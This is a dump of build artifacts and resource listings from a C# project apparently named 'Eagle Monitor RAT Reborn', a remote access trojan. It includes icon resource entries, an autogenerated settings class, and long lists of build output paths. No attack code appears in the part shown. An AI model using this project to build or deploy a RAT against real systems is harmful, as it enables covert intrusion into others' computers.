Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\broken_link_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\imageres_15.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Logo\eagle2.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_schedule_mail.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_file_explorer.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\github@2x.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\direction_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_text_input_form.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\end_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_information_32.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\documents_folder_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\login_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_new_property.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_create.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\pin_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_signal.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_Binary_Code.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_download.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_todo_list.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_computer_virus.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_remote_desktop.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_single_line_text_input.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_imac.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_question_mark.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\text_input_form_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_c_plus_plus.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\resume_button_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_categorize.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\pause_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_information.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_lock_file.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_database_backup.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\uninstall_programs_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_command_line.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_electronics.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_ethernet_on.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Settings.Designer.cs ================================================ //------------------------------------------------------------------------------ // // Ce code a été généré par un outil. // Version du runtime :4.0.30319.42000 // // Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si // le code est régénéré. // //------------------------------------------------------------------------------ namespace Eagle_Monitor_RAT_Reborn.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "17.3.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); public static Settings Default { get { return defaultInstance; } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Settings.settings ================================================  ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/app.config ================================================ ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/obj/Debug/.NETFramework,Version=v4.8.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")] ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/obj/Debug/Eagle Monitor RAT Reborn.csproj.CopyComplete ================================================ ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/obj/Debug/Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache ================================================ b8e978ea35033b812303ffcbdffc54609903f97a ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/obj/Debug/Eagle Monitor RAT Reborn.csproj.FileListAbsolute.txt ================================================ C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\bin\Debug\Eagle Monitor RAT Reborn.exe.config C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\bin\Debug\Eagle Monitor RAT Reborn.exe C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\bin\Debug\Eagle Monitor RAT Reborn.pdb C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\bin\Debug\Guna.UI2.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Debug\Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Debug\Eagle Monitor RAT Reborn.csproj.SuggestedBindingRedirects.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Debug\Eagle_Monitor_RAT_Reborn.Properties.Resources.resources C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Debug\Eagle Monitor RAT Reborn.csproj.GenerateResource.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Debug\Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Debug\Eagle Monitor RAT Reborn.csproj.CopyComplete C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Debug\Eagle Monitor RAT Reborn.exe C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Debug\Eagle Monitor RAT Reborn.pdb C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Debug\Eagle_Monitor_RAT_Reborn.Controls.FormPattern.resources C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Debug\Eagle_Monitor_RAT_Reborn.MainForm.resources ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/obj/Debug/Eagle Monitor RAT Reborn.csproj.SuggestedBindingRedirects.cache ================================================ ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/obj/Debug/_IsIncrementalBuild ================================================ obj\Debug\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/.NETFramework,Version=v4.8.1.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8.1", FrameworkDisplayName = ".NET Framework 4.8.1")] ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/.NETFramework,Version=v4.8.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")] ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle Monitor RAT Reborn.csproj.CopyComplete ================================================ ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache ================================================ 2f01d4f87410351be9c06d98b9cd7215958718ea ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle Monitor RAT Reborn.csproj.FileListAbsolute.txt ================================================ C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn.exe.config C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn.exe C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn.pdb C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\bin\Release\Guna.UI2.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x32).exe C:\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x32).exe C:\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache C:\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.SuggestedBindingRedirects.cache C:\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.Controls.FormPattern.resources C:\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.ClientForm.resources C:\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.MainForm.resources C:\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.Properties.Resources.resources C:\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.GenerateResource.cache C:\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache C:\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.Fody.CopyLocal.cache C:\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.CopyComplete C:\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn (x32).exe C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.SuggestedBindingRedirects.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.Controls.FormPattern.resources C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.ClientForm.resources C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.MainForm.resources C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.Properties.Resources.resources C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.GenerateResource.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.CopyComplete C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn (x32).exe D:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x32).exe D:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache D:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.SuggestedBindingRedirects.cache D:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.Controls.FormPattern.resources D:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.ClientForm.resources D:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.MainForm.resources D:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.Properties.Resources.resources D:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.GenerateResource.cache D:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache D:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.CopyComplete D:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn (x32).exe C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x32).exe C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.SuggestedBindingRedirects.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.Controls.FormPattern.resources C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.ClientForm.resources C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.MainForm.resources C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.Properties.Resources.resources C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.GenerateResource.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.CopyComplete C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn (x32).exe C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.AboutForm.resources F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x32).exe F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.SuggestedBindingRedirects.cache F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.Controls.FormPattern.resources F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.ClientForm.resources F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.AboutForm.resources F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.MainForm.resources F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.Properties.Resources.resources F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.GenerateResource.cache F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.CopyComplete F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn (x32).exe E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x32).exe.config E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x32).exe E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.SuggestedBindingRedirects.cache E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.Controls.FormPattern.resources E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.ClientForm.resources E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.AboutForm.resources E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.MainForm.resources E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle_Monitor_RAT_Reborn.Properties.Resources.resources E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.GenerateResource.cache E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn.csproj.CopyComplete E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\Release\Eagle Monitor RAT Reborn (x32).exe F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x32).exe.config ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle Monitor RAT Reborn.csproj.Fody.CopyLocal.cache ================================================ C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\packages\Newtonsoft.Json.13.0.1\lib\net45\Newtonsoft.Json.xml C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\packages\Vestris.ResourceLib.2.1.0\lib\net45\Vestris.ResourceLib.xml ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle Monitor RAT Reborn.csproj.SuggestedBindingRedirects.cache ================================================ ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/_IsIncrementalBuild ================================================ obj\Release\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/.NETFramework,Version=v4.8.1.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8.1", FrameworkDisplayName = ".NET Framework 4.8.1")] ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/.NETFramework,Version=v4.8.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")] ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.CopyComplete ================================================ ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache ================================================ acfe77e6af85c938ebe2b1de2bbedae15acbb636 ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.FileListAbsolute.txt ================================================ C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\bin\x64\Release\Eagle Monitor RAT Reborn.exe.config C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\bin\x64\Release\Eagle Monitor RAT Reborn.exe C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\bin\x64\Release\Eagle Monitor RAT Reborn.pdb C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\bin\x64\Release\Guna.UI2.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.SuggestedBindingRedirects.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.Controls.FormPattern.resources C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.MainForm.resources C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.Properties.Resources.resources C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.GenerateResource.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x64).exe C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn (x64).exe C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.ClientForm.resources C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.CopyComplete C:\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x64).exe C:\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache C:\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.SuggestedBindingRedirects.cache C:\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.Controls.FormPattern.resources C:\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.ClientForm.resources C:\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.MainForm.resources C:\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.Properties.Resources.resources C:\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.GenerateResource.cache C:\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache C:\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.Fody.CopyLocal.cache C:\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.CopyComplete C:\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn (x64).exe D:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x64).exe D:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache D:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.SuggestedBindingRedirects.cache D:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.Controls.FormPattern.resources D:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.ClientForm.resources D:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.MainForm.resources D:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.Properties.Resources.resources D:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.GenerateResource.cache D:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache D:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT 